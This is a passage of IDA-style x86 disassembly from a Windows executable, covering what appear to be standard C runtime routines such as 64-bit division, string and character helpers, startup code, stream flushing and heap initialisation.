xor edx, edx
div ecx
mov eax, [esp+4+arg_0]
div ecx
mov eax, edx
xor edx, edx
jmp short loc_41DD91
; ---------------------------------------------------------------------------
loc_41DD41: ; CODE XREF: sub_41DD20+7j
mov ecx, eax
mov ebx, [esp+4+arg_8]
mov edx, [esp+4+arg_4]
mov eax, [esp+4+arg_0]
loc_41DD4F: ; CODE XREF: sub_41DD20+39j
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_41DD4F
div ebx
mov ecx, eax
mul [esp+4+arg_C]
xchg eax, ecx
mul [esp+4+arg_8]
add edx, ecx
jb short loc_41DD7A
cmp edx, [esp+4+arg_4]
ja short loc_41DD7A
jb short loc_41DD82
cmp eax, [esp+4+arg_0]
jbe short loc_41DD82
loc_41DD7A: ; CODE XREF: sub_41DD20+4Aj
; sub_41DD20+50j
sub eax, [esp+4+arg_8]
sbb edx, [esp+4+arg_C]
loc_41DD82: ; CODE XREF: sub_41DD20+52j
; sub_41DD20+58j
sub eax, [esp+4+arg_0]
sbb edx, [esp+4+arg_4]
neg edx
neg eax
sbb edx, 0
loc_41DD91: ; CODE XREF: sub_41DD20+1Fj
pop ebx
retn 10h
sub_41DD20 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41DDA0 proc near ; CODE XREF: sub_416DD9+5Fp
; sub_416DD9+92p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push edi
push esi
push ebx
xor edi, edi
mov eax, [esp+0Ch+arg_4]
or eax, eax
jge short loc_41DDC1
inc edi
mov edx, [esp+0Ch+arg_0]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_4], eax
mov [esp+0Ch+arg_0], edx
loc_41DDC1: ; CODE XREF: sub_41DDA0+Bj
mov eax, [esp+0Ch+arg_C]
or eax, eax
jge short loc_41DDDD
inc edi
mov edx, [esp+0Ch+arg_8]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_C], eax
mov [esp+0Ch+arg_8], edx
loc_41DDDD: ; CODE XREF: sub_41DDA0+27j
or eax, eax
jnz short loc_41DDF9
mov ecx, [esp+0Ch+arg_8]
mov eax, [esp+0Ch+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+0Ch+arg_0]
div ecx
mov edx, ebx
jmp short loc_41DE3A
; ---------------------------------------------------------------------------
loc_41DDF9: ; CODE XREF: sub_41DDA0+3Fj
mov ebx, eax
mov ecx, [esp+0Ch+arg_8]
mov edx, [esp+0Ch+arg_4]
mov eax, [esp+0Ch+arg_0]
loc_41DE07: ; CODE XREF: sub_41DDA0+71j
shr ebx, 1
rcr ecx, 1
shr edx, 1
rcr eax, 1
or ebx, ebx
jnz short loc_41DE07
div ecx
mov esi, eax
mul [esp+0Ch+arg_C]
mov ecx, eax
mov eax, [esp+0Ch+arg_8]
mul esi
add edx, ecx
jb short loc_41DE35
cmp edx, [esp+0Ch+arg_4]
ja short loc_41DE35
jb short loc_41DE36
cmp eax, [esp+0Ch+arg_0]
jbe short loc_41DE36
loc_41DE35: ; CODE XREF: sub_41DDA0+85j
; sub_41DDA0+8Bj
dec esi
loc_41DE36: ; CODE XREF: sub_41DDA0+8Dj
; sub_41DDA0+93j
xor edx, edx
mov eax, esi
loc_41DE3A: ; CODE XREF: sub_41DDA0+57j
dec edi
jnz short loc_41DE44
neg edx
neg eax
sbb edx, 0
loc_41DE44: ; CODE XREF: sub_41DDA0+9Bj
pop ebx
pop esi
pop edi
retn 10h
sub_41DDA0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DE4A proc near ; CODE XREF: sub_417493+BFp
; sub_417493+12Cp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, dword_4DBE84
push ebx
xor ebx, ebx
cmp eax, ebx
mov [ebp+var_4], ebx
jnz short loc_41DE7E
mov eax, [ebp+arg_0]
mov edx, eax
cmp [eax], bl
jz short loc_41DEE5
loc_41DE66: ; CODE XREF: sub_41DE4A+30j
mov cl, [edx]
cmp cl, 61h
jl short loc_41DE77
cmp cl, 7Ah
jg short loc_41DE77
sub cl, 20h
mov [edx], cl
loc_41DE77: ; CODE XREF: sub_41DE4A+21j
; sub_41DE4A+26j
inc edx
cmp [edx], bl
jnz short loc_41DE66
jmp short loc_41DEE5
; ---------------------------------------------------------------------------
loc_41DE7E: ; CODE XREF: sub_41DE4A+11j
push esi
push edi
push 1
push ebx
push ebx
push ebx
push 0FFFFFFFFh
mov esi, 200h
push [ebp+arg_0]
push esi
push eax
call sub_4232A8
mov edi, eax
add esp, 20h
cmp edi, ebx
jz short loc_41DED7
push edi
call sub_41BEB5
cmp eax, ebx
pop ecx
mov [ebp+var_4], eax
jz short loc_41DED7
push 1
push ebx
push edi
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
push esi
push dword_4DBE84
call sub_4232A8
add esp, 20h
test eax, eax
jz short loc_41DED7
push [ebp+var_4]
push [ebp+arg_0]
call sub_41C890
pop ecx
pop ecx
loc_41DED7: ; CODE XREF: sub_41DE4A+53j
; sub_41DE4A+61j ...
push [ebp+var_4]
call sub_41BA91
mov eax, [ebp+arg_0]
pop ecx
pop edi
pop esi
loc_41DEE5: ; CODE XREF: sub_41DE4A+1Aj
; sub_41DE4A+32j
pop ebx
leave
retn
sub_41DE4A endp
; =============== S U B R O U T I N E =======================================
sub_41DEE8 proc near ; CODE XREF: sub_417E84+1A8p
arg_0 = dword ptr 4
cmp dword_43D084, 1
jle short loc_41DEFF
push 4
push [esp+4+arg_0]
call sub_41FDB5
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_41DEFF: ; CODE XREF: sub_41DEE8+7j
mov eax, [esp+arg_0]
mov ecx, off_43CE78
mov al, [ecx+eax*2]
and eax, 4
retn
sub_41DEE8 endp
; =============== S U B R O U T I N E =======================================
sub_41DF10 proc near ; CODE XREF: sub_420DB0+76p
; sub_420DB0+88p ...
arg_0 = dword ptr 4
cmp dword_43D084, 1
jle short loc_41DF27
push 8
push [esp+4+arg_0]
call sub_41FDB5
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_41DF27: ; CODE XREF: sub_41DF10+7j
mov eax, [esp+arg_0]
mov ecx, off_43CE78
mov al, [ecx+eax*2]
and eax, 8
retn
sub_41DF10 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41DF40 proc near ; CODE XREF: sub_418295+1Dp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_8]
test eax, eax
jz short locret_41DF8C
mov edx, [esp+arg_0]
push esi
push edi
mov esi, edx
mov edi, [esp+8+arg_4]
or edx, edi
and edx, 3
jz short loc_41DF8D
test eax, 1
jz short loc_41DF6D
mov cl, [esi]
cmp cl, [edi]
jnz short loc_41DFBA
inc esi
inc edi
dec eax
jz short loc_41DF8A
loc_41DF6D: ; CODE XREF: sub_41DF40+20j
; sub_41DF40+48j
mov cl, [esi]
mov dl, [edi]
cmp cl, dl
jnz short loc_41DFBA
mov cl, [esi+1]
mov dl, [edi+1]
cmp cl, dl
jnz short loc_41DFBA
add edi, 2
add esi, 2
sub eax, 2
jnz short loc_41DF6D
loc_41DF8A: ; CODE XREF: sub_41DF40+2Bj
; sub_41DF40+84j
pop edi
pop esi
locret_41DF8C: ; CODE XREF: sub_41DF40+6j
retn
; ---------------------------------------------------------------------------
loc_41DF8D: ; CODE XREF: sub_41DF40+19j
mov ecx, eax
and eax, 3
shr ecx, 2
jz short loc_41DFC2
repe cmpsd
jz short loc_41DFC2
mov ecx, [esi-4]
mov edx, [edi-4]
cmp cl, dl
jnz short loc_41DFB5
cmp ch, dh
jnz short loc_41DFB5
shr ecx, 10h
shr edx, 10h
cmp cl, dl
jnz short loc_41DFB5
cmp ch, dh
loc_41DFB5: ; CODE XREF: sub_41DF40+63j
; sub_41DF40+67j ...
mov eax, 0
loc_41DFBA: ; CODE XREF: sub_41DF40+26j
; sub_41DF40+33j ...
sbb eax, eax
pop edi
sbb eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_41DFC2: ; CODE XREF: sub_41DF40+55j
; sub_41DF40+59j
test eax, eax
jz short loc_41DF8A
mov edx, [esi]
mov ecx, [edi]
cmp dl, cl
jnz short loc_41DFB5
dec eax
jz short loc_41DFE9
cmp dh, ch
jnz short loc_41DFB5
dec eax
jz short loc_41DFE9
and ecx, 0FF0000h
and edx, 0FF0000h
cmp edx, ecx
jnz short loc_41DFB5
dec eax
loc_41DFE9: ; CODE XREF: sub_41DF40+8Fj
; sub_41DF40+96j
pop edi
pop esi
retn
sub_41DF40 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DFEC proc near ; CODE XREF: sub_4185B5+6p
; sub_4185D3+4Ap ...
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_4DBE84, 0
push ebx
push esi
push edi
jnz short loc_41E019
mov eax, [ebp+arg_0]
cmp eax, 41h
jl loc_41E0B2
cmp eax, 5Ah
jg loc_41E0B2
add eax, 20h
jmp loc_41E0B2
; ---------------------------------------------------------------------------
loc_41E019: ; CODE XREF: sub_41DFEC+Ej
mov ebx, [ebp+arg_0]
mov edi, 100h
push 1
cmp ebx, edi
pop esi
jge short loc_41E04D
cmp dword_43D084, esi
jle short loc_41E03B
push esi
push ebx
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_41E045
; ---------------------------------------------------------------------------
loc_41E03B: ; CODE XREF: sub_41DFEC+42j
mov eax, off_43CE78
mov al, [eax+ebx*2]
and eax, esi
loc_41E045: ; CODE XREF: sub_41DFEC+4Dj
test eax, eax
jnz short loc_41E04D
loc_41E049: ; CODE XREF: sub_41DFEC+ADj
mov eax, ebx
jmp short loc_41E0B2
; ---------------------------------------------------------------------------
loc_41E04D: ; CODE XREF: sub_41DFEC+3Aj
; sub_41DFEC+5Bj
mov edx, off_43CE78
mov eax, ebx
sar eax, 8
movzx ecx, al
test byte ptr [edx+ecx*2+1], 80h
jz short loc_41E071
and byte ptr [ebp+arg_0+2], 0
push 2
mov byte ptr [ebp+arg_0], al
mov byte ptr [ebp+arg_0+1], bl
pop eax
jmp short loc_41E07A
; ---------------------------------------------------------------------------
loc_41E071: ; CODE XREF: sub_41DFEC+74j
and byte ptr [ebp+arg_0+1], 0
mov byte ptr [ebp+arg_0], bl
mov eax, esi
loc_41E07A: ; CODE XREF: sub_41DFEC+83j
push esi
push 0
lea ecx, [ebp+var_4]
push 3
push ecx
push eax
lea eax, [ebp+arg_0]
push eax
push edi
push dword_4DBE84
call sub_4232A8
add esp, 20h
test eax, eax
jz short loc_41E049
cmp eax, esi
jnz short loc_41E0A5
movzx eax, [ebp+var_4]
jmp short loc_41E0B2
; ---------------------------------------------------------------------------
loc_41E0A5: ; CODE XREF: sub_41DFEC+B1j
movzx eax, [ebp+var_3]
movzx ecx, [ebp+var_4]
shl eax, 8
or eax, ecx
loc_41E0B2: ; CODE XREF: sub_41DFEC+16j
; sub_41DFEC+1Fj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41DFEC endp
; =============== S U B R O U T I N E =======================================
sub_41E0B7 proc near ; CODE XREF: sub_418AF1+ADp
; sub_419AE0+55p ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
cmp word ptr [ecx], 0
lea eax, [ecx+2]
jz short loc_41E0CE
loc_41E0C4: ; CODE XREF: sub_41E0B7+15j
mov dx, [eax]
inc eax
inc eax
test dx, dx
jnz short loc_41E0C4
loc_41E0CE: ; CODE XREF: sub_41E0B7+Bj
sub eax, ecx
sar eax, 1
dec eax
retn
sub_41E0B7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E0D4 proc near ; CODE XREF: sub_418AF1+7Fp
; sub_418AF1+90p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov edx, [ebp+arg_0]
push ebx
push esi
xor esi, esi
xor eax, eax
cmp edx, esi
push edi
jz loc_41E1A1
mov edi, [ebp+arg_8]
cmp edi, esi
jz loc_41E1CE
cmp dword_4DBE84, esi
jnz short loc_41E125
cmp edi, esi
jbe loc_41E1CE
loc_41E104: ; CODE XREF: sub_41E0D4+4Aj
mov ecx, [ebp+arg_4]
add ecx, eax
movzx si, byte ptr [ecx]
mov [edx], si
cmp byte ptr [ecx], 0
jz loc_41E1CE
inc eax
inc edx
inc edx
cmp eax, edi
jb short loc_41E104
jmp loc_41E1CE
; ---------------------------------------------------------------------------
loc_41E125: ; CODE XREF: sub_41E0D4+26j
mov ebx, [ebp+arg_4]
mov esi, ds:dword_4270E8
push edi
push edx
push 0FFFFFFFFh
push ebx
push 9
push dword_4DBE94
call esi ; MultiByteToWideChar
test eax, eax
jnz loc_41E1CD
call ds:dword_427094 ; RtlGetLastWin32Error
cmp eax, 7Ah
jz short loc_41E15F
loc_41E150: ; CODE XREF: sub_41E0D4+CBj
; sub_41E0D4+F7j
mov dword_4DBDDC, 2Ah
or eax, 0FFFFFFFFh
jmp short loc_41E1CE
; ---------------------------------------------------------------------------
loc_41E15F: ; CODE XREF: sub_41E0D4+7Aj
lea ecx, [edi-1]
mov eax, ebx
mov [ebp+arg_4], ecx
loc_41E167: ; CODE XREF: sub_41E0D4+B3j
mov cl, [eax]
test cl, cl
jz short loc_41E189
mov edx, off_43CE78
movzx ecx, cl
test byte ptr [edx+ecx*2+1], 80h
jz short loc_41E17E
inc eax
loc_41E17E: ; CODE XREF: sub_41E0D4+A7j
mov ecx, [ebp+arg_4]
inc eax
dec [ebp+arg_4]
test ecx, ecx
jnz short loc_41E167
loc_41E189: ; CODE XREF: sub_41E0D4+97j
push edi
sub eax, ebx
push [ebp+arg_0]
push eax
push ebx
push 1
push dword_4DBE94
call esi ; MultiByteToWideChar
test eax, eax
jnz short loc_41E1CE
jmp short loc_41E150
; ---------------------------------------------------------------------------
loc_41E1A1: ; CODE XREF: sub_41E0D4+Fj
cmp dword_4DBE84, esi
jnz short loc_41E1B4
push [ebp+arg_4]
call sub_41B9C0
pop ecx
jmp short loc_41E1CE
; ---------------------------------------------------------------------------
loc_41E1B4: ; CODE XREF: sub_41E0D4+D3j
push esi
push esi
push 0FFFFFFFFh
push [ebp+arg_4]
push 9
push dword_4DBE94
call ds:dword_4270E8 ; MultiByteToWideChar
cmp eax, esi
jz short loc_41E150
loc_41E1CD: ; CODE XREF: sub_41E0D4+6Bj
dec eax
loc_41E1CE: ; CODE XREF: sub_41E0D4+1Aj
; sub_41E0D4+2Aj ...
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41E0D4 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427700
push offset sub_423CC0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 58h
push ebx
push esi
push edi
mov [ebp-18h], esp
call ds:dword_4271B0 ; GetVersion
xor edx, edx
mov dl, ah
mov dword_4DBDF4, edx
mov ecx, eax
and ecx, 0FFh
mov dword_4DBDF0, ecx
shl ecx, 8
add ecx, edx
mov dword_4DBDEC, ecx
shr eax, 10h
mov dword_4DBDE8, eax
xor esi, esi
push esi
call sub_41E672
pop ecx
test eax, eax
jnz short loc_41E23F
push 1Ch
call sub_41E2EE
pop ecx
loc_41E23F: ; CODE XREF: .text:0041E235j
mov [ebp-4], esi
call sub_423B0B
call ds:dword_4271AC ; GetCommandLineA
mov dword_4DD38C, eax
call sub_4239D9
mov dword_4DBE34, eax
call sub_42378C
call sub_4236D3
call sub_41C164
mov [ebp-30h], esi
lea eax, [ebp-5Ch]
push eax
call ds:dword_4271A8 ; GetStartupInfoA
call sub_42367B
mov [ebp-64h], eax
test byte ptr [ebp-30h], 1
jz short loc_41E28C
movzx eax, word ptr [ebp-2Ch]
jmp short loc_41E28F
; ---------------------------------------------------------------------------
loc_41E28C: ; CODE XREF: .text:0041E284j
push 0Ah
pop eax
loc_41E28F: ; CODE XREF: .text:0041E28Aj
push eax
push dword ptr [ebp-64h]
push esi
push esi
call ds:dword_4270A4 ; GetModuleHandleA
push eax
call sub_401221
mov [ebp-60h], eax
push eax
call sub_41C191
mov eax, [ebp-14h]
mov ecx, [eax]
mov ecx, [ecx]
mov [ebp-68h], ecx
push eax
push ecx
call sub_4234F7
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
push dword ptr [ebp-68h]
call sub_41C1A2
; =============== S U B R O U T I N E =======================================
sub_41E2C9 proc near ; CODE XREF: sub_41DA32+16p
; sub_4236D3+4Ep ...
arg_0 = dword ptr 4
cmp dword_4DBE3C, 1
jnz short loc_41E2D7
call sub_423D98
loc_41E2D7: ; CODE XREF: sub_41E2C9+7j
push [esp+arg_0]
call sub_423DD1
push 0FFh
call off_43AE40
pop ecx
pop ecx
retn
sub_41E2C9 endp
; =============== S U B R O U T I N E =======================================
sub_41E2EE proc near ; CODE XREF: .text:0041E239p
arg_0 = dword ptr 4
cmp dword_4DBE3C, 1
jnz short loc_41E2FC
call sub_423D98
loc_41E2FC: ; CODE XREF: sub_41E2EE+7j
push [esp+arg_0]
call sub_423DD1
pop ecx
push 0FFh
call ds:dword_42706C ; ExitProcess
retn
sub_41E2EE endp
; =============== S U B R O U T I N E =======================================
sub_41E312 proc near ; CODE XREF: sub_41BA3B+2Ap
; sub_42423B+290p
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
cmp edi, dword_4DD140
jnb loc_41E3AC
mov eax, edi
mov esi, edi
sar eax, 5
and esi, 1Fh
lea ebx, ds:4DD040h[eax*4]
shl esi, 3
mov eax, [ebx]
test byte ptr [eax+esi+4], 1
jz short loc_41E3AC
push edi
call sub_4240AA
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41E38B
cmp edi, 1
jz short loc_41E359
cmp edi, 2
jnz short loc_41E36F
loc_41E359: ; CODE XREF: sub_41E312+40j
push 2
call sub_4240AA
push 1
mov ebp, eax
call sub_4240AA
pop ecx
cmp eax, ebp
pop ecx
jz short loc_41E38B
loc_41E36F: ; CODE XREF: sub_41E312+45j
push edi
call sub_4240AA
pop ecx
push eax
call ds:dword_427070 ; CloseHandle
test eax, eax
jnz short loc_41E38B
call ds:dword_427094 ; RtlGetLastWin32Error
mov ebp, eax
jmp short loc_41E38D
; ---------------------------------------------------------------------------
loc_41E38B: ; CODE XREF: sub_41E312+3Bj
; sub_41E312+5Bj ...
xor ebp, ebp
loc_41E38D: ; CODE XREF: sub_41E312+77j
push edi
call sub_424030
mov eax, [ebx]
pop ecx
and byte ptr [eax+esi+4], 0
test ebp, ebp
jz short loc_41E3A8
push ebp
call sub_420C7F
pop ecx
jmp short loc_41E3BD
; ---------------------------------------------------------------------------
loc_41E3A8: ; CODE XREF: sub_41E312+8Bj
xor eax, eax
jmp short loc_41E3C0
; ---------------------------------------------------------------------------
loc_41E3AC: ; CODE XREF: sub_41E312+Ej
; sub_41E312+2Fj
and dword_4DBDE0, 0
mov dword_4DBDDC, 9
loc_41E3BD: ; CODE XREF: sub_41E312+94j
or eax, 0FFFFFFFFh
loc_41E3C0: ; CODE XREF: sub_41E312+98j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41E312 endp
; =============== S U B R O U T I N E =======================================
sub_41E3C5 proc near ; CODE XREF: sub_41BA3B+22p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+0Ch]
test al, 83h
jz short loc_41E3EE
test al, 8
jz short loc_41E3EE
push dword ptr [esi+8]
call sub_41BA91
and word ptr [esi+0Ch], 0FBF7h
xor eax, eax
pop ecx
mov [esi], eax
mov [esi+8], eax
mov [esi+4], eax
loc_41E3EE: ; CODE XREF: sub_41E3C5+Aj
; sub_41E3C5+Ej
pop esi
retn
sub_41E3C5 endp
; =============== S U B R O U T I N E =======================================
sub_41E3F0 proc near ; CODE XREF: sub_41E490+2Dp
; sub_41E490+48p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jnz short loc_41E402
push esi
call sub_41E490
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41E402: ; CODE XREF: sub_41E3F0+7j
push esi
call sub_41E42B
test eax, eax
pop ecx
jz short loc_41E412
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_41E412: ; CODE XREF: sub_41E3F0+1Bj
test byte ptr [esi+0Dh], 40h
jz short loc_41E427
push dword ptr [esi+10h]
call sub_4240E7
neg eax
pop ecx
pop esi
sbb eax, eax
retn
; ---------------------------------------------------------------------------
loc_41E427: ; CODE XREF: sub_41E3F0+26j
xor eax, eax
pop esi
retn
sub_41E3F0 endp
; =============== S U B R O U T I N E =======================================
sub_41E42B proc near ; CODE XREF: sub_41BA3B+1Ap
; sub_41DA8B+37p ...
arg_0 = dword ptr 4
push ebx
push esi
mov esi, [esp+8+arg_0]
xor ebx, ebx
push edi
mov eax, [esi+0Ch]
mov ecx, eax
and ecx, 3
cmp cl, 2
jnz short loc_41E478
test ax, 108h
jz short loc_41E478
mov eax, [esi+8]
mov edi, [esi]
sub edi, eax
test edi, edi
jle short loc_41E478
push edi
push eax
push dword ptr [esi+10h]
call sub_4230FB
add esp, 0Ch
cmp eax, edi
jnz short loc_41E471
mov eax, [esi+0Ch]
test al, 80h
jz short loc_41E478
and al, 0FDh
mov [esi+0Ch], eax
jmp short loc_41E478
; ---------------------------------------------------------------------------
loc_41E471: ; CODE XREF: sub_41E42B+36j
or dword ptr [esi+0Ch], 20h
or ebx, 0FFFFFFFFh
loc_41E478: ; CODE XREF: sub_41E42B+14j
; sub_41E42B+1Aj ...
mov eax, [esi+8]
and dword ptr [esi+4], 0
mov [esi], eax
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_41E42B endp
; =============== S U B R O U T I N E =======================================
sub_41E487 proc near ; CODE XREF: sub_4241E3p
push 1
call sub_41E490
pop ecx
retn
sub_41E487 endp
; =============== S U B R O U T I N E =======================================
sub_41E490 proc near ; CODE XREF: sub_41E3F0+Ap
; sub_41E487+2p
arg_0 = dword ptr 4
push ebx
push esi
push edi
xor esi, esi
xor ebx, ebx
xor edi, edi
cmp dword_4DD020, esi
jle short loc_41E4EE
loc_41E4A1: ; CODE XREF: sub_41E490+5Cj
mov eax, dword_4DC01C
mov eax, [eax+esi*4]
test eax, eax
jz short loc_41E4E5
mov ecx, [eax+0Ch]
test cl, 83h
jz short loc_41E4E5
cmp [esp+0Ch+arg_0], 1
jnz short loc_41E4CB
push eax
call sub_41E3F0
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41E4E5
inc ebx
jmp short loc_41E4E5
; ---------------------------------------------------------------------------
loc_41E4CB: ; CODE XREF: sub_41E490+2Aj
cmp [esp+0Ch+arg_0], 0
jnz short loc_41E4E5
test cl, 2
jz short loc_41E4E5
push eax
call sub_41E3F0
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_41E4E5
or edi, eax
loc_41E4E5: ; CODE XREF: sub_41E490+1Bj
; sub_41E490+23j ...
inc esi
cmp esi, dword_4DD020
jl short loc_41E4A1
loc_41E4EE: ; CODE XREF: sub_41E490+Fj
cmp [esp+0Ch+arg_0], 1
mov eax, ebx
jz short loc_41E4F9
mov eax, edi
loc_41E4F9: ; CODE XREF: sub_41E490+65j
pop edi
pop esi
pop ebx
retn
sub_41E490 endp
; =============== S U B R O U T I N E =======================================
sub_41E4FD proc near ; CODE XREF: sub_41E52A+136p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 0
and dword ptr [esi], 0
call ds:dword_4270A4 ; GetModuleHandleA
cmp word ptr [eax], 5A4Dh
jnz short loc_41E528
mov ecx, [eax+3Ch]
test ecx, ecx
jz short loc_41E528
add eax, ecx
mov cl, [eax+1Ah]
mov [esi], cl
mov al, [eax+1Bh]
mov [esi+1], al
loc_41E528: ; CODE XREF: sub_41E4FD+15j
; sub_41E4FD+1Cj
pop esi
retn
sub_41E4FD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E52A proc near ; CODE XREF: sub_41E672+20p
var_122C = byte ptr -122Ch
var_19C = byte ptr -19Ch
var_98 = dword ptr -98h
var_94 = dword ptr -94h
var_88 = dword ptr -88h
var_4 = byte ptr -4
push ebp
mov ebp, esp
mov eax, 122Ch
call sub_41C500
lea eax, [ebp+var_98]
push ebx
push eax
mov [ebp+var_98], 94h
call ds:dword_4270D0 ; GetVersionExA
test eax, eax
jz short loc_41E56D
cmp [ebp+var_88], 2
jnz short loc_41E56D
cmp [ebp+var_94], 5
jb short loc_41E56D
push 1
pop eax
jmp loc_41E66F
; ---------------------------------------------------------------------------
loc_41E56D: ; CODE XREF: sub_41E52A+27j
; sub_41E52A+30j ...
lea eax, [ebp+var_122C]
push 1090h
push eax
push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
call ds:dword_4271B4 ; GetEnvironmentVariableA
test eax, eax
jz loc_41E65C
xor ebx, ebx
lea ecx, [ebp+var_122C]
cmp [ebp+var_122C], bl
jz short loc_41E5AF
loc_41E59C: ; CODE XREF: sub_41E52A+83j
mov al, [ecx]
cmp al, 61h
jl short loc_41E5AA
cmp al, 7Ah
jg short loc_41E5AA
sub al, 20h
mov [ecx], al
loc_41E5AA: ; CODE XREF: sub_41E52A+76j
; sub_41E52A+7Aj
inc ecx
cmp [ecx], bl
jnz short loc_41E59C
loc_41E5AF: ; CODE XREF: sub_41E52A+70j
lea eax, [ebp+var_122C]
push 16h
push eax
push offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
call sub_41C850
add esp, 0Ch
test eax, eax
jnz short loc_41E5D1
lea eax, [ebp+var_122C]
jmp short loc_41E61A
; ---------------------------------------------------------------------------
loc_41E5D1: ; CODE XREF: sub_41E52A+9Dj
lea eax, [ebp+var_19C]
push 104h
push eax
push ebx
call ds:dword_427078 ; GetModuleFileNameA
cmp [ebp+var_19C], bl
lea ecx, [ebp+var_19C]
jz short loc_41E605
loc_41E5F2: ; CODE XREF: sub_41E52A+D9j
mov al, [ecx]
cmp al, 61h
jl short loc_41E600
cmp al, 7Ah
jg short loc_41E600
sub al, 20h
mov [ecx], al
loc_41E600: ; CODE XREF: sub_41E52A+CCj
; sub_41E52A+D0j
inc ecx
cmp [ecx], bl
jnz short loc_41E5F2
loc_41E605: ; CODE XREF: sub_41E52A+C6j
lea eax, [ebp+var_19C]
push eax
lea eax, [ebp+var_122C]
push eax
call sub_41C2E0
pop ecx
pop ecx
loc_41E61A: ; CODE XREF: sub_41E52A+A5j
cmp eax, ebx
jz short loc_41E65C
push 2Ch
push eax
call sub_41C990
pop ecx
cmp eax, ebx
pop ecx
jz short loc_41E65C
inc eax
mov ecx, eax
cmp [eax], bl
jz short loc_41E641
loc_41E633: ; CODE XREF: sub_41E52A+115j
cmp byte ptr [ecx], 3Bh
jnz short loc_41E63C
mov [ecx], bl
jmp short loc_41E63D
; ---------------------------------------------------------------------------
loc_41E63C: ; CODE XREF: sub_41E52A+10Cj
inc ecx
loc_41E63D: ; CODE XREF: sub_41E52A+110j
cmp [ecx], bl
jnz short loc_41E633
loc_41E641: ; CODE XREF: sub_41E52A+107j
push 0Ah
push ebx
push eax
call sub_41C586
add esp, 0Ch
cmp eax, 2
jz short loc_41E66F
cmp eax, 3
jz short loc_41E66F
cmp eax, 1
jz short loc_41E66F
loc_41E65C: ; CODE XREF: sub_41E52A+5Cj
; sub_41E52A+F2j ...
lea eax, [ebp+var_4]
push eax
call sub_41E4FD
cmp [ebp+var_4], 6
pop ecx
sbb eax, eax
add eax, 3
loc_41E66F: ; CODE XREF: sub_41E52A+3Ej
; sub_41E52A+126j ...
pop ebx
leave
retn
sub_41E52A endp
; =============== S U B R O U T I N E =======================================
sub_41E672 proc near ; CODE XREF: .text:0041E22Dp
arg_0 = dword ptr 4
xor eax, eax
push 0
cmp [esp+4+arg_0], eax
push 1000h
setz al
push eax
call ds:dword_4271BC ; HeapCreate
test eax, eax
mov dword_4DD384, eax
jz short loc_41E6C8
call sub_41E52A
cmp eax, 3
mov dword_4DD388, eax
jnz short loc_41E6AE
push 3F8h
call sub_41E6CF
pop ecx
jmp short loc_41E6B8
; ---------------------------------------------------------------------------
loc_41E6AE: ; CODE XREF: sub_41E672+2Dj
cmp eax, 2
jnz short loc_41E6CB
call sub_41F216
loc_41E6B8: ; CODE XREF: sub_41E672+3Aj
test eax, eax
jnz short loc_41E6CB
push dword_4DD384
call ds:dword_4271B8 ; HeapDestroy
loc_41E6C8: ; CODE XREF: sub_41E672+1Ej
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41E6CB: ; CODE XREF: sub_41E672+3Fj
; sub_41E672+48j
push 1
pop eax
retn
sub_41E672 endp
; =============== S U B R O U T I N E =======================================
sub_41E6CF proc near ; CODE XREF: sub_41E672+34p
arg_0 = dword ptr 4
push 140h
push 0
push dword_4DD384
call ds:dword_427150 ; RtlAllocateHeap
test eax, eax
mov dword_4DD37C, eax
jnz short loc_41E6EC
retn
; ---------------------------------------------------------------------------
loc_41E6EC: ; CODE XREF: sub_41E6CF+1Aj
mov ecx, [esp+arg_0]
and dword_4DD374, 0
and dword_4DD378, 0
push 1
mov dword_4DD370, eax
mov dword_4DD380, ecx
mov dword_4DD368, 10h
pop eax
retn
sub_41E6CF endp
; =============== S U B R O U T I N E =======================================
